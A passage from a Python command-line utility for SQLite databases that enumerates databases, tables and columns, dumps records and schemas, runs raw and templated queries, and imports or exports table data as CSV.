table_name)\n\t\tcheck_status = False\n\n\tdb.close(db_conn)\n\n\treturn check_status\n\ndef do_action_truncate_table(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\tdry_mode = args.dry_mode\n\n\tif db_name is not None:\n\t\ttable_name = \"%s.%s\" % (db_name, table_name)\n\n\tif not db.truncate_table(db_conn, table_name):\n\t\tprint(\"[!] error: db_truncate_table(): status: failed - '%s'\" % table_name)\n\t\treturn\n\tprint(\"[-] table truncated - '%s'\" % table_name)\ndef do_action_drop_table(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\tdry_mode = args.dry_mode\n\tif db_name is None:\n\t\tdb_name = 'main'\n\n\tif dry_mode:\n\t\tout_drop_statement = \"'%s'\" % table_name\n\t\tif db_name is not None:\n\t\t\tout_drop_statement = \"'%s' from db('%s')\" % (table_name, db_name)\n\t\tprint(\"[*] drop table %s\" % out_drop_statement)\n\t\tif not db.table_exists_in_db(db_conn, db_name, table_name):\n\t\t\tprint(\"[!] dry mode warning: table not found - '%s'\" % table_name)\n\t\telse:\n\t\t\tprint(\"[!] dry mode - would have dropped %s\" % out_drop_statement)\n\t\treturn\n\t\n\tif db_name is not None:\n\t\tif not db.drop_table_from_database(db_conn, db_name, table_name):\n\t\t\tprint(\"[!] error: db_drop_table_from_database(): status: failed - '%s.%s'\" % (db_name, table_name))\n\t\t\treturn\n\t\tprint(\"[-] table dropped - '%s' from db('%s')\" % (table_name, db_name))\n\telse:\n\t\tif not db.drop_table(db_conn, table_name):\n\t\t\tprint(\"[!] error: db_drop_table(): status: failed - '%s'\" % table_name)\n\t\telse:\n\t\t\tprint(\"[-] table dropped - '%s'\" % table_name)\n\ndef do_action_enum_databases(db_conn, args):\n\tdb_list = db.databases(db_conn)\n\n\theaders = ['seq','db']\n\tif args.schema:\n\t\theaders = ['seq','name','file']\n\n\tif args.verbose_mode:\n\t\tif args.count and not args.schema:\n\t\t\theaders.append('tables')\n\t\t\tfor i in range(len(db_list)):\n\t\t\t\t# convert tuple to list\n\t\t\t\tdb_list[i] = [*db_list[i],]\n\t\t\t\t#if not args.schema:\n\t\t\t\tdb_list[i] = db_list[i][:-1]\n\t\t\t\t\n\t\t\t\tdb_name = db_list[i][1]\n\t\t\t\ttable_count = 0\n\t\t\t\tfor table in db.tables(db_conn, db_name, None):\n\t\t\t\t\ttable_name = table[1]\n\t\t\t\t\tif db.is_sys_table(table_name) and args.exclude_sysdbs:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\ttable_count += 1\n\t\t\t\tdb_list[i].append(table_count)\n\t\telse:\n\t\t\tfor i in range(len(db_list)):\n\t\t\t\t# convert tuple to list\n\t\t\t\tdb_list[i] = [*db_list[i],]\n\t\t\t\tif not args.schema:\n\t\t\t\t\tdb_list[i] = db_list[i][:-1]\n\t\t\n\t\tif not args.out_json:\n\t\t\tprint(\"[*] dbs: %s\" % len(db_list))\n\t\t\tif not args.schema and not args.count:\n\t\t\t\tprint(\"[?] (use '--count' to show table count for each database)\")\n\t\t\tprint(tabulate(db_list, headers=headers, tablefmt='github'))\n\t\telse:\n\t\t\tout_json = []\n\t\t\tfor db_name in db_list:\n\t\t\t\tjson_item = {}\n\t\t\t\tfor i in range(len(headers)):\n\t\t\t\t\tjson_item[headers[i]] = db_name[i]\n\t\t\t\tout_json.append(json_item)\n\t\t\tprint(json.dumps(out_json))\n\t\treturn\n\n\tif args.count:\n\t\tdbs_count = len(db_list)\n\t\tif not args.out_json:\n\t\t\tif args.verbose_mode:\n\t\t\t\tprint(\"[*] dbs: %s\" % dbs_count)\n\t\t\telse:\n\t\t\t\tprint(dbs_count)\n\t\telse:\n\t\t\tout_json = {\"count\": dbs_count}\n\t\t\tprint(json.dumps(out_json))\n\t\treturn\n\n\tdb_list = list(map(lambda n: n[1], db_list))\n\t#if len(db_list) == 1:\n\t#\tdb_list = [db_list]\n\tif not args.out_json:\n\t\tprint(\"\\n\".join(db_list))\n\telse:\n\t\tout_json = []\n\t\tfor db_name in db_list:\n\t\t\tout_json.append({\"name\": db_name})\n\t\tprint(json.dumps(out_json))\n\ndef do_action_table_record_count(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\n\tfilter_on_tables = []\n\tif table_name is not None:\n\t\tfilter_on_tables = table_name.split(\",\")\n\n\ttables = db.tables(db_conn, db_name, None)\n\n\ttable_list = []\n\tfor table in tables:\n\t\ttable_name = table[1]\n\t\tif db.is_sys_table(table_name) and args.exclude_sysdbs:\n\t\t\tcontinue\n\t\tif len(filter_on_tables) > 0:\n\t\t\tif table_name not in filter_on_tables:\n\t\t\t\tcontinue\n\t\ttable_list.append(table)\n\n\ttable_list = list(map(lambda n: n[0:2], table_list))\n\theaders = ['db', 'table', 'records']\n\n\tprint(\"[*] db tables: %s\" % len(table_list))\n\tfor i in range(len(table_list)):\n\t\t# convert tuple to list\n\t\ttable_list[i] = [*table_list[i],]\n\t\ttable_name = table_list[i][1]\n\t\trecord_count = db.record_count(db_conn, table_name)\n\t\ttable_list[i].append(record_count)\n\tprint(tabulate(table_list, headers=headers, tablefmt='github'))\ndef do_action_enum_tables(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\n\tfilter_on_tables = []\n\tif table_name is not None:\n\t\tfilter_on_tables = table_name.split(\",\")\n\n\ttables = db.tables(db_conn, db_name, None)\n\n\ttable_list = []\n\tdb_list = []\n\tfor table in tables:\n\t\ttable_name = table[1]\n\t\tif db.is_sys_table(table_name) and args.exclude_sysdbs:\n\t\t\tcontinue\n\t\tif len(filter_on_tables) > 0:\n\t\t\tif table_name not in filter_on_tables:\n\t\t\t\tcontinue\n\t\ttable_list.append(table)\n\n\theaders = ['schema', 'name', 'type', 'ncol', 'wr', 'strict']\n\tif not args.schema:\n\t\ttable_list = list(map(lambda n: n[0:2], table_list))\n\t\theaders = ['db', 'table']\n\n\tif args.verbose_mode or args.schema:\n\t\tif not args.schema and args.count:\n\t\t\t# see below: add records count to table item\n\t\t\theaders.append('records')\n\t\t\n\t\tfor i in range(len(table_list)):\n\t\t\t# convert tuple to list\n\t\t\ttable_list[i] = [*table_list[i],]\n\n\t\t\tdb_name = table_list[i][0]\n\t\t\tif db_name not in db_list:\n\t\t\t\tdb_list.append(db_name)\n\t\t\ttable_name = table_list[i][1]\n\t\t\tif not args.schema and args.count:\n\t\t\t\t# add records count to table item\n\t\t\t\trecord_count = db.record_count(db_conn, table_name)\n\t\t\t\ttable_list[i].append(record_count)\n\t\t\n\t\tif not args.out_json:\n\t\t\tprint(\"[*] db(%s) tables: %s\" % (len(db_list), len(table_list)))\n\t\t\t\n\t\t\tif not args.schema and not args.count:\n\t\t\t\tprint(\"[?] (use '--count' to show record count for each table)\")\n\n\t\t\tprint(tabulate(table_list, headers=headers, tablefmt='github'))\n\t\telse:\n\t\t\tout_json = []\n\t\t\tfor table_item in table_list:\n\t\t\t\tjson_item = {}\n\t\t\t\tfor i in range(len(headers)):\n\t\t\t\t\tjson_item[headers[i]] = table_item[i]\n\t\t\t\tout_json.append(json_item)\n\t\t\tprint(json.dumps(out_json))\n\t\treturn\n\n\tif args.count:\n\t\ttable_count = len(table_list)\n\t\tif not args.out_json:\n\t\t\tprint(table_count)\n\t\telse:\n\t\t\tprint(json.dumps({\"count\": table_count}))\n\t\treturn\n\n\tif len(table_list) > 0:\n\t\tif db_name is None:\n\t\t\ttable_list = list(map(lambda r: \"%s.%s\" % (r[0], r[1]), table_list))\n\t\telse:\n\t\t\ttable_list = list(map(lambda r: \"%s\" % (r[1]), table_list))\n\t\tif not args.out_json:\n\t\t\tprint('\\n'.join(table_list))\n\t\telse:\n\t\t\tout_json = []\n\t\t\tfor table_name in table_list:\n\t\t\t\tif \".\" in table_name:\n\t\t\t\t\tdb_name = table_name.split(\".\")[0]\n\t\t\t\t\ttable_name = table_name.split(\".\")[1]\n\t\t\t\t\tout_json.append({\"db\": db_name, \"table\": table_name})\n\t\t\t\telse:\n\t\t\t\t\tout_json.append({\"table\": table_name})\n\t\t\tprint(json.dumps(out_json))\n\t\ndef do_action_enum_columns(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\tcolumn_name = args.column_name\n\n\ttable_names = []\n\tif table_name is not None:\n\t\ttable_names = table_name.split(\",\")\n\telse:\n\t\t# no tables defined, get all tables (filters on database if specified)\n\t\ttable_names = db.table_names(db_conn, db_name, None)\n\t# make list unique; may have duplicate tablename from different databases\n\ttable_names = list(set(table_names))\n\n\tdb_names = []\n\tif db_name is not None:\n\t\tdb_names.append(db_name)\n\telse:\n\t\t# no databases defined, get all databases\n\t\tdb_names = db.database_names(db_conn)\n\t\n\tfilter_on_columns = []\n\tif column_name is not None:\n\t\tfilter_on_columns = column_name.split(\",\")\n\n\tdb_table_column_list = []\n\tfor db_name in db_names:\n\t\tfor table_name in table_names:\n\t\t\t# filter out system databases\n\t\t\tif db.is_sys_table(table_name) and args.exclude_sysdbs:\n\t\t\t\tcontinue\n\n\t\t\tcolumns = db.columns(db_conn, db_name, table_name)\n\t\t\tfor i in range(len(columns)):\n\t\t\t\t# convert tuple to list\n\t\t\t\tcolumns[i] = [*columns[i],]\n\n\t\t\t\tcolum_name = columns[i][1]\n\t\t\t\tif len(filter_on_columns) > 0:\n\t\t\t\t\tif colum_name not in filter_on_columns:\n\t\t\t\t\t\tcontinue\n\t\t\t\t# prefix column_info with db & table name\n\t\t\t\tcolumns[i].insert(0, table_name)\n\t\t\t\tcolumns[i].insert(0, db_name)\n\n\t\t\t\tdb_table_column_list.append(columns[i])\n\n\theaders = ['db', 'table', 'cid', 'name', 'type', 'notnull', 'dflt_value', 'pk']\n\tif not args.schema:\n\t\tdb_table_column_list = list(map(lambda n: [n[0], n[1], n[3]], db_table_column_list))\n\t\theaders = ['db', 'table', 'column']\n\t\tpass\n\n\ttotal_column_count = len(db_table_column_list)\n\tif args.verbose_mode or args.schema:\n\t\tif args.count:\n\t\t\theaders = ['db', 'table', 'columns']\n\t\t\tdb_table_column = OrderedDict()\n\t\t\tfor item in db_table_column_list:\n\t\t\t\tdb_name = item[0]\n\t\t\t\ttable_name = item[1]\n\t\t\t\tcolumn_name = item[2]\n\t\t\t\t\n\t\t\t\tdb_table = \"%s.%s\" % (db_name, table_name)\n\t\t\t\tif db_table not in db_table_column:\n\t\t\t\t\tdb_table_column[db_table] = []\n\t\t\t\tdb_table_column[db_table].append(column_name)\n\t\t\t\n\t\t\ttotal_column_count = 0\n\t\t\tdb_table_column_list = []\n\t\t\tfor db_table, column_names in db_table_column.items():\n\t\t\t\tdb_name = db_table.split(\".\")[0]\n\t\t\t\ttable_name = db_table.split(\".\")[1]\n\t\t\t\tcolumn_count = len(column_names)\n\t\t\t\ttotal_column_count += column_count\n\t\t\t\tdb_table_column_list.append([db_name, table_name, column_count])\n\n\t\ttotal_db_count = len(list(set(list(map(lambda n: n[0], db_table_column_list)))))\n\t\ttotal_table_count = len(list(set(list(map(lambda n: \"%s.%s\" % (n[0], n[1]), db_table_column_list)))))\n\n\t\tif not args.out_json:\n\t\t\tprint(\"[*] db(%s) table(%s) columns: %s\" % (total_db_count, total_table_count, total_column_count))\n\t\t\tif not args.schema and not args.count:\n\t\t\t\tprint(\"[?] (use '--count' to show column count instead of names)\")\n\t\t\tprint(tabulate(db_table_column_list, headers=headers, tablefmt='github'))\n\t\telse:\n\t\t\tout_json = []\n\t\t\tfor db_table_column in db_table_column_list:\n\t\t\t\tjson_item = {}\n\t\t\t\tfor i in range(len(headers)):\n\t\t\t\t\tjson_item[headers[i]] = db_table_column[i]\n\t\t\t\tout_json.append(json_item)\n\t\t\tprint(json.dumps(out_json))\n\t\treturn\n\n\tcolumn_list = list(set(list(map(lambda n: n[2], db_table_column_list))))\n\tif len(column_list) > 0:\n\t\tif args.count:\n\t\t\tif not args.out_json:\n\t\t\t\tprint(len(list(map(lambda n: n[2], db_table_column_list))))\n\t\t\telse:\n\t\t\t\tprint(json.dumps({\"count\": len(column_list)}))\n\t\t\treturn\n\n\t\tif not args.out_json:\n\t\t\tprint('\\n'.join(column_list))\n\t\telse:\n\t\t\tout_json = []\n\t\t\tfor db_table_column in db_table_column_list:\n\t\t\t\tdb_name = db_table_column[0]\n\t\t\t\ttable_name = db_table_column[1]\n\t\t\t\tcolumn_name = db_table_column[2]\n\t\t\t\tout_json.append({\"db\": db_name, \"table\": table_name, \"column\": column_name})\n\t\t\tprint(json.dumps(out_json))\n\ndef do_action_dump_table_schema(db_conn, args):\n\tdb_name = args.db_name\n\ttable_name = args.table_name\n\n\tprint(\"[*] db(%s) table('%s') schema:\" % (db_name, table_name))\n\ttable_schema = db.table_schema(db_conn, table_name)\n\tprint(table_schema)\n\ndef do_action_dump_table_records(db_conn, args):\n\ttable_name = args.table_name\n\tdb_name = args.db_name\n\tif db_name is None:\n\t\tdb_name = 'main'\n\n\tif table_name is None:\n\t\tprint(\"[!] error: dump table - missing table\")\n\t\tprint(\"[!] (use '-T [--schema])\")\n\t\treturn\n\tif \",\" in table_name:\n\t\t\tprint(\"[!] error: dump table; multi tables not supported - '%s'\" % table_name)\n\t\t\treturn\n\n\tif args.schema:\n\t\tprint(\"[*] db table('%s') schema:\" % table_name)\n\t\ttable_schema = db.table_schema(db_conn, table_name)\n\t\tif table_schema is not None:\n\t\t\tprint(table_schema)\n\t\treturn\n\n\tselect_columns = ''\n\tif args.column_name is not None:\n\t\ttable_columns = db.table_columns(db_conn, db_name, table_name)\n\t\tcolumns = args.column_name.split(\",\")\n\t\tfor column in columns:\n\t\t\tcolumn_name = column.strip()\n\t\t\tif column_name not in table_columns:\n\t\t\t\tcontinue\n\t\t\tif len(select_columns) > 0:\n\t\t\t\tselect_columns += \",\"\n\t\t\tselect_columns += column_name\n\tif len(select_columns) == 0:\n\t\tselect_columns = '*'\n\n\tquery = '''\n\t\tSELECT %s FROM %s\n\t''' % (select_columns, table_name)\n\tif args.limit is not None:\n\t\tquery += \" LIMIT %s\" % args.limit\n\tif args.offset is not None:\n\t\tquery += \" OFFSET %s\" % args.offset\n\trows = db.query_db(db_conn, query)\n\n\tif args.count:\n\t\trecord_count = 0\n\t\tif rows is not None:\n\t\t\trecord_count = len(rows)\n\t\tif args.out_json:\n\t\t\tprint(json.dumps({\"count\": record_count}))\n\t\telse:\n\t\t\tprint(record_count)\n\t\treturn\n\n\t#if rows is None:\n\t#\treturn\n\n\theaders = []\n\tif select_columns == '*':\n\t\theaders = db.table_columns(db_conn, db_name, table_name)\n\telse:\n\t\theaders = select_columns.split(\",\")\n\n\tif args.out_json:\n\t\tout_json = []\n\t\tfor row in rows:\n\t\t\tjson_item = {}\n\t\t\tfor i in range(len(headers)):\n\t\t\t\tjson_item[headers[i]] = row[i]\n\t\t\tout_json.append(json_item)\n\t\tprint(json.dumps(out_json))\n\t\treturn\n\n\tif args.verbose_mode:\n\t\tprint(\"[*] db table('%s') entries: %s\" % (table_name, len(rows)))\n\t\ttable = []\n\t\tfor row in rows:\n\t\t\ttable.append(list(map(lambda n: n, row)))\n\t\tprint(tabulate(table, headers=headers, tablefmt='github'))\n\t\treturn\n\n\tfor row in rows:\n\t\tprint(row)\n\ndef do_action_query_db(db_conn, args):\n\ttable_name = args.table_name\n\t#print(\"[*] db query\")\n\t\n\tquery = args.query\n\t#print(query)\n\trows = db.query_db(db_conn, query)\n\tif rows is None:\n\t\tprint(\"[!] do_action_query_db(): status: failed - '%s'\" % query)\n\t\treturn\n\t#print(rows)\n\tfor row in rows:\n\t\tprint(row)\n\ndef parse_query_template_file(template_file, verbose_mode):\n\ttemplate = None\n\tif not os.path.isfile(template_file):\n\t\treturn template\n\n\twith open(template_file) as f:\n\t\ttemplate = {}\n\t\ttemplate[\"path\"] = template_file\n\t\ttemplate[\"_raw\"] = ''\n\t\ttemplate[\"Description\"] = ''\n\t\ttemplate[\"Template\"] = ''\n\t\ttemplate[\"Query\"] = ''\n\t\ttemplate[\"Parameters\"] = OrderedDict()\n\t\ttemplate[\"StatusOK\"] = True\n\t\ttemplate[\"DebugInfo\"] = {}\n\t\ttemplate[\"DebugInfo\"][\"Log\"] = []\n\n\t\tvalid_properties = [\"parameter\"]\n\t\tstart_tag_found = False\n\t\tend_tag_found = False\n\n\t\tline_count = -1\n\t\tprevious_property = None\n\t\tfor line in f.readlines():\n\t\t\ttemplate[\"_raw\"] += line\n\t\t\tline_count += 1\n\t\t\tif line.strip() == \"<#\":\n\t\t\t\tstart_tag_found = True\n\t\t\t\tcontinue\n\t\t\tif line.strip() == \"#>\":\n\t\t\t\tend_tag_found = True\n\t\t\t\tcontinue\n\n\t\t\t# line part of description\n\t\t\tif not start_tag_found:\n\t\t\t\ttemplate[\"Description\"] += line\n\t\t\t\tcontinue\n\t\t\t\n\t\t\t# skip commented out and empty lines\n\t\t\tif line.lstrip().startswith(\"#\") or len(line.strip()) == 0:\n\t\t\t\tcontinue\n\n\t\t\t# line part of property section\n\t\t\tif start_tag_found and not end_tag_found:\n\t\t\t\t# check for property\n\t\t\t\tif line.lstrip().startswith(\".\") and \":\" in line:\n\t\t\t\t\tproperty_type = line.lstrip().split(\".\")[1].split(\":\")[0].lower()\n\t\t\t\t\t#if not property_type in valid_properties:\n\t\t\t\t\t#\ttemplate[\"StatusOK\"] = False\n\t\t\t\t\t#\ttemplate[\"DebugInfo\"][\"Log\"].append(\"[!] warning: unsupported property type '%s' in template '%s'\" % (property_type, template_file))\n\t\t\t\t\t#\tcontinue\n\t\t\t\t\t# parse property\n\t\t\t\t\tif property_type == \"parameter\":\n\t\t\t\t\t\tparam_name = ':'.join(line.split(\":\")[1:]).strip()\n\t\t\t\t\t\tparam = OrderedDict()\n\t\t\t\t\t\tparam[\"name\"] = param_name\n\t\t\t\t\t\tparam[\"description\"] = ''\n\t\t\t\t\t\tparam[\"value\"] = ''\n\t\t\t\t\t\ttemplate[\"Parameters\"][param[\"name\"]] = param\n\t\t\t\t\t\tprevious_property = param[\"name\"]\n\t\t\t\t\t\tcontinue\n\t\t\t\t# add property description\n\t\t\t\telif previous_property is not None:\n\t\t\t\t\tif previous_property in template[\"Parameters\"]:\n\t\t\t\t\t\tparam = template[\"Parameters\"][previous_property]\n\t\t\t\t\t\tparam[\"description\"] = line.strip()\n\t\t\t\t\t\ttemplate[\"Parameters\"][param[\"name\"]] = param\n\t\t\t\t\telse:\n\t\t\t\t\t\t#print(\"[!] warning: parse query template failed; missing parameter: '%s'\" % previous_property)\n\t\t\t\t\t\ttemplate[\"StatusOK\"] = False\n\t\t\t\t\t\ttemplate[\"DebugInfo\"][\"Log\"].append(\"[!] warning: parse query template failed; missing parameter '%s' in template '%s'\" % (previous_property, template_file))\n\t\t\t\n\t\t\t# line part of query template\n\t\t\tif end_tag_found:\n\t\t\t\ttemplate[\"Template\"] += line\n\t\t\n\t# remove last trailing new line\n\ttemplate[\"_raw\"] = template[\"_raw\"].rstrip()\n\t# remove any starting or trailing whitespace/new line\n\ttemplate[\"Description\"] = template[\"Description\"].strip()\n\t# remove any trailing whitespace/new line\n\ttemplate[\"Template\"] = template[\"Template\"].rstrip()\n\n\treturn template\ndef inspect_query_template(template, verbose_mode):\n\tprint(template[\"Description\"])\n\tprint(\"\")\n\n\tparameters = list(template[\"Parameters\"].keys())\n\n\tif len(parameters) > 0:\n\t\tprint(\"* Parameters\")\n\t\t#print(\"-\"*30)\n\t\tfor i in range(len(parameters)):\n\t\t\tparam_name = parameters[i]\n\t\t\tparam = template[\"Parameters\"][param_name]\n\t\t\tprint(\"%s: %s\" % (param[\"name\"], param[\"description\"]))\n\n\tprint(\"\")\n\tprint(\"* Template\")\n\tprint(\"-\"*30)\n\tprint(template[\"Template\"])\n\tprint(\"-\"*30)\n\n\tif not verbose_mode or verbose_mode:\n\t\t# output any defined template parameter (positions)\n\t\tprint(\"\")\n\t\tif len(parameters) > 0:\n\t\t\tprint(\"* Parameter (position)\")\n\t\t\tprint(\"-\"*30)\n\t\t\tfor i in range(len(parameters)):\n\t\t\t\tparam_name = parameters[i]\n\t\t\t\tparam = template[\"Parameters\"][param_name]\n\t\t\t\tprint(\"%s: %s\" % (i, param[\"name\"]))\n\tif not verbose_mode:\n\t\treturn\n\t\n\tprint(\"-\"*30)\n\tprint(\"\")\n\tprint(\"\")\n\t\t\n\tprint(\"[**** Formatted Template ****]\")\n\tprint(\"\")\n\n\tif template[\"Matching_Parameter_Inputs\"]:\n\t\tif len(parameters) > 0:\n\t\t\tprint(\"* Parameter (key/value pair)\")\n\t\t\tprint(\"-\"*30)\n\t\t\tfor i in range(len(parameters)):\n\t\t\t\tparam_name = parameters[i]\n\t\t\t\tparam = template[\"Parameters\"][param_name]\n\t\t\t\tprint(\"%s = %s\" % (param[\"name\"], param[\"value\"]))\n\n\t\t\tprint(\"\")\n\t\t\tprint(\"* Query (formatted)\")\n\t\t\tprint(\"-\"*30)\n\t\t\tprint(template[\"Query\"])\n\t\t\tprint(\"-\"*30)\n\telse:\n\t\t# output defined template parameter (positions)\n\t\tif len(parameters) > 0:\n\t\t\tprint(\"* Parameter (position)\")\n\t\t\tprint(\"-\"*30)\n\t\t\tfor i in range(len(parameters)):\n\t\t\t\tparam_name = parameters[i]\n\t\t\t\tparam = template[\"Parameters\"][param_name]\n\t\t\t\tprint(\"%s: %s\" % (i, param[\"name\"]))\n\t\t\n\t\t# output any passed parameter value (positions)\n\t\tprint(\"\")\n\t\tprint(\"* Input (position)\")\n\t\tprint(\"-\"*30)\n\t\tinputs = template[\"Inputs\"]\n\t\tfor i in range(len(inputs)):\n\t\t\tparameter_input = inputs[i]\n\t\t\tprint(\"%s: %s\" % (i, parameter_input))\ndef out_query_template_debug_info(template):\n\tfor log_line in template[\"DebugInfo\"][\"Log\"]:\n\t\tprint(log_line)\ndef do_action_query_db_from_template(db_conn, args):\n\tif not os.path.isfile(args.query_from_file):\n\t\tprint(\"[!] error: query template failed - file not found '%s'\" % args.query_from_file)\n\t\treturn\n\n\ttemplate = parse_query_template_file(args.query_from_file, args.verbose_mode)\n\tif template is None:\n\t\tprint(\"[!] error: query template failed - missing file content '%s'\" % args.query_from_file)\n\t\treturn\n\tif not template[\"StatusOK\"]:\n\t\tprint(\"[!] error: parse query template failed '%s'\" % template[\"path\"])\n\t\tfor log_line in template[\"DebugInfo\"][\"Log\"]:\n\t\t\tprint(log_line)\n\t\tout_query_template_debug_info(template)\n\t\treturn\n\n\ttemplate[\"Inputs\"] = args.template_parameters\n\n\tparameters = list(template[\"Parameters\"].keys())\n\n\ttemplate[\"Matching_Parameter_Inputs\"] = True\n\tif len(template[\"Inputs\"]) != len(parameters):\n\t\ttemplate[\"StatusOK\"] = False\n\t\ttemplate[\"Matching_Parameter_Inputs\"] = False\n\t\tif args.template_parameters is not None and not args.inspect_query_template:\n\t\t\tprint(\"[!] warning: query template failed; incorrect num of param fields: '%s'\" % template[\"path\"])\n\n\t\t\ttemplate[\"DebugInfo\"][\"Log\"].append(\"[!] warning: query template failed; incorrect num of param fields: '%s'\" % template[\"path\"])\n\t\t\treturn\n\t\n\t# // add input value to parameter & format query\n\tif template[\"Matching_Parameter_Inputs\"]:\n\t\tquery = template[\"Template\"]\n\t\tfor i in range(len(parameters)):\n\t\t\tparam_name = parameters[i]\n\t\t\tparam = template[\"Parameters\"][param_name]\n\t\t\t# add input value to parameter\n\t\t\tparam[\"value\"] = template[\"Inputs\"][i]\n\t\t\t# store updated parameter\n\t\t\ttemplate[\"Parameters\"][param[\"name\"]] = param\n\t\t\t# format query\n\t\t\tquery = query.replace(\"{{%s}}\" % param[\"name\"], param[\"value\"])\n\t\ttemplate[\"Query\"] = query\n\n\tif args.inspect_query_template:\n\t\tinspect_query_template(template, args.verbose_mode)\n\t\treturn\n\n\tquery = template[\"Query\"]\n\trows = db.query_db(db_conn, query)\n\tif rows is None:\n\t\t#print(\"[!] do_action_query_db(): status: failed \\n%s\" % query)\n\t\tprint(\"[!] do_action_query_db(): status: failed\")\n#\t\t_raw_list = template[\"_raw\"].split(\"\\n\")\n#\t\t_raw_list = list(map(lambda n: \"#> %s\" % n.strip(), _raw_list))\n#\t\tprint('\\n'.join(_raw_list))\n\t\treturn\n\t#print(rows)\n\tfor row in rows:\n\t\tprint(row)\n\ndef list_databases(db_conn, verbose_mode):\n\tquery = 'PRAGMA database_list'\n\trows = db.query_db(db_conn, query)\n\tfor row in rows:\n\t\tif not verbose_mode:\n\t\t\tdb_name = row[1]\n\t\t\tprint(db_name)\n\t\telse:\n\t\t\tprint(row)\n\ndef do_action_attach_db(db_conn, args):\n\tif args.attach_db is None:\n\t\treturn\n\tdb_list = args.attach_db.split(\",\")\n\t#for attach_db in db_list:\n\t#\tif not \":\" in attach_db:\n\t#\t\tprint(\"[!] error: attach database() failed - '%s'\" % args.attach_db)\n\t#\t\tprint(\"[!] (use '-A :')\")\n\t#\t\treturn\n\tfor attach_db in db_list:\n\t\tdb_name = None\n\t\tdb_file = None\n\t\tif \":\" in attach_db:\n\t\t\tdb_name, db_file = attach_db.split(\":\")\n\t\telse:\n\t\t\tdb_file = attach_db\n\t\t\tif attach_db.endswith(\".db\"):\n\t\t\t\tdb_file = attach_db\n\t\t\t\tdb_name = \".\".join(os.path.basename(attach_db).split(\".\")[:-1])\n\t\t\telse:\n\t\t\t\tdb_name = os.path.basename(attach_db)\n\t\t\t\tdb_file = attach_db\n\t\tif not os.path.isfile(db_file):\n\t\t\tprint(\"[!] warning: attach database(%s) failed - file not found '%s'\" % (db_name, db_file))\n\t\t\tcontinue\n\t\tif db_name.lower() == \"temp\":\n\t\t\tprint(\"[!] warning: attach database(%s) failed - protected database name '%s'\" % (db_name, db_file))\n\t\t\tcontinue\n\t\tif not db.attach_db(db_conn, db_name, db_file):\n\t\t\tprint(\"[!] warning: attach database(%s) failed - '%s'\" % (db_name, db_file))\n\ndef export_db_table_schema(db_conn, out_file, table_name):\n\ttable_schema = db.table_schema(db_conn, table_name)\n\tprint(table_schema)\n\twith open(out_file, 'w') as f:\n\t\tf.write(table_schema)\ndef export_db_table(db_conn, out_file, db_name, table_name):\n\tprint(\"[*] export table '%s'\" % table_name)\n\tif db_name is None:\n\t\tdb_name = 'main'\n\n\tif not db.table_exists_in_db(db_conn, db_name, table_name):\n\t\tprint(\"[!] error: table not found - '%s'\" % table_name)\n\t\treturn\n\n\tquery_param = '''\n\t\tSELECT *\n\t\tFROM %s\n\t''' % table_name\n\tparam_data = ()\n\trows = db.execute(db_conn, query_param, param_data, True)\n\n\tcolumn_list = db.table_columns(db_conn, db_name, table_name)\n\t#print(column_list)\n\n\t#print(rows)\n\twith open(out_file, 'w', newline='') as f:\n\t\tcsv_writer = csv.writer(f, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\t\t#csv_writer.writerow(column_list)\n\t\tfor row in rows:\n\t\t\tcsv_writer.writerow(row)\n\t\t\n\tprint(\"[*] table '%s' exported -> '%s'\" % (table_name, out_file))\n\t#for row in rows:\n\t#\tprint(row)\ndef do_db_export(db_conn, args):\n\tif args.table_name is None:\n\t\tprint(\"[!] error: export database - missing table\")\n\t\tprint(\"[!] (use '-T [--schema])\")\n\t\treturn\n\n\tout_file = args.db_export\n\ttable_name = args.table_name\n\tif not args.schema:\n\t\texport_db_table(db_conn, out_file, args.db_name, args.table_name)\n\telse:\n\t\texport_db_table_schema(db_conn, out_file, args.table_name)\n\ndef do_db_import(db_conn, args):\n\ttable_name = args.table_name\n\tin_file = args.db_import\n\tdb_name = args.db_name\n\tif db_name is None:\n\t\tdb_name = \"main\"\n\n\tif args.table_name is None:\n\t\tprint(\"[!] error: import database - missing table\")\n\t\tprint(\"[!] (use '-T )\")\n\t\treturn\n\tif not db.table_exists(db_conn, args.table_name):\n\t\tprint(\"[!] error: import database - table does not exist - '%s'\" % args.table_name)\n\t\treturn\n\tif not os.path.isfile(in_file):\n\t\tprint(\"[!] warning: import database - file not found '%s'\" % in_file)\n\t\tprint(\"[!] (use '--import )\")\n\t\treturn\n\n\tcolumn_list = db.table_columns(db_conn, db_name, table_name)\n\ttable_columns = ', '.join(column_list)\n\tquest_values = ', '.join(list(repeat(\"?\", len(column_list))))\n\n\tquery_param = \"\"\"INSERT INTO %s\n\t\t\t\t(%s) \n\t\t\t\tVALUES (%s);\"\"\" % (table_name, table_columns, quest_values)\n\n\tcur = db_conn.cursor()\n\twith open(in_file) as f:\n\t\tcsv_reader = csv.reader(f, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\t\t#if args.verbose_mode:\n\t\t#\tfor row in csv_reader:\n\t\t#\t\tprint(row)\n\t\tcur.executemany(query_param, csv_reader)\n\t\tdb_conn.commit()\n\n\t\tprint(\"[*] table '%s' imported <- '%s'\" % (table_name, in_file))\n\n\t\t#print(f.readlines())\n\tcur.close()\n\ndef do_define_db(db_conn, args):\n\tdefinition_file = args.define_db\n\n\ttable_definition = db.table_definition_from_file(definition_file)\n\tif table_definition is None:\n\t\tprint(\"[!] do_define_db() failed to get definition: '%s'\" % definition_file)\n\t\treturn\n\n\ttable_name = db.get_table_from_definition(table_definition)\n\tif table_name is None:\n\t\tprint(\"[!] do_define_db() invalid table definition: '%s'\\n%s\" % (definition_file, table_definition))\n\t\treturn\n\n\t\"\"\"\n\t\trename table name of defined table definition\n\t\"\"\"\n\tif args.table_name is not None and table_name != args.table_name:\n\t\tprint(\"[*] do_define_db: renaming defined table '%s' to '%s'\" % (table_name, args.table_name))\n\t\ttable_definition = db.rename_table_definition(table_definition, args.table_name)\n\t\tif table_definition is None:\n\t\t\ttable_definition = db.table_definition_from_file(definition_file)\n\t\t\tprint(\"[!] error: do_define_db; rename table definition failed - new table name '%s'\\n%s\" % (definition_file, 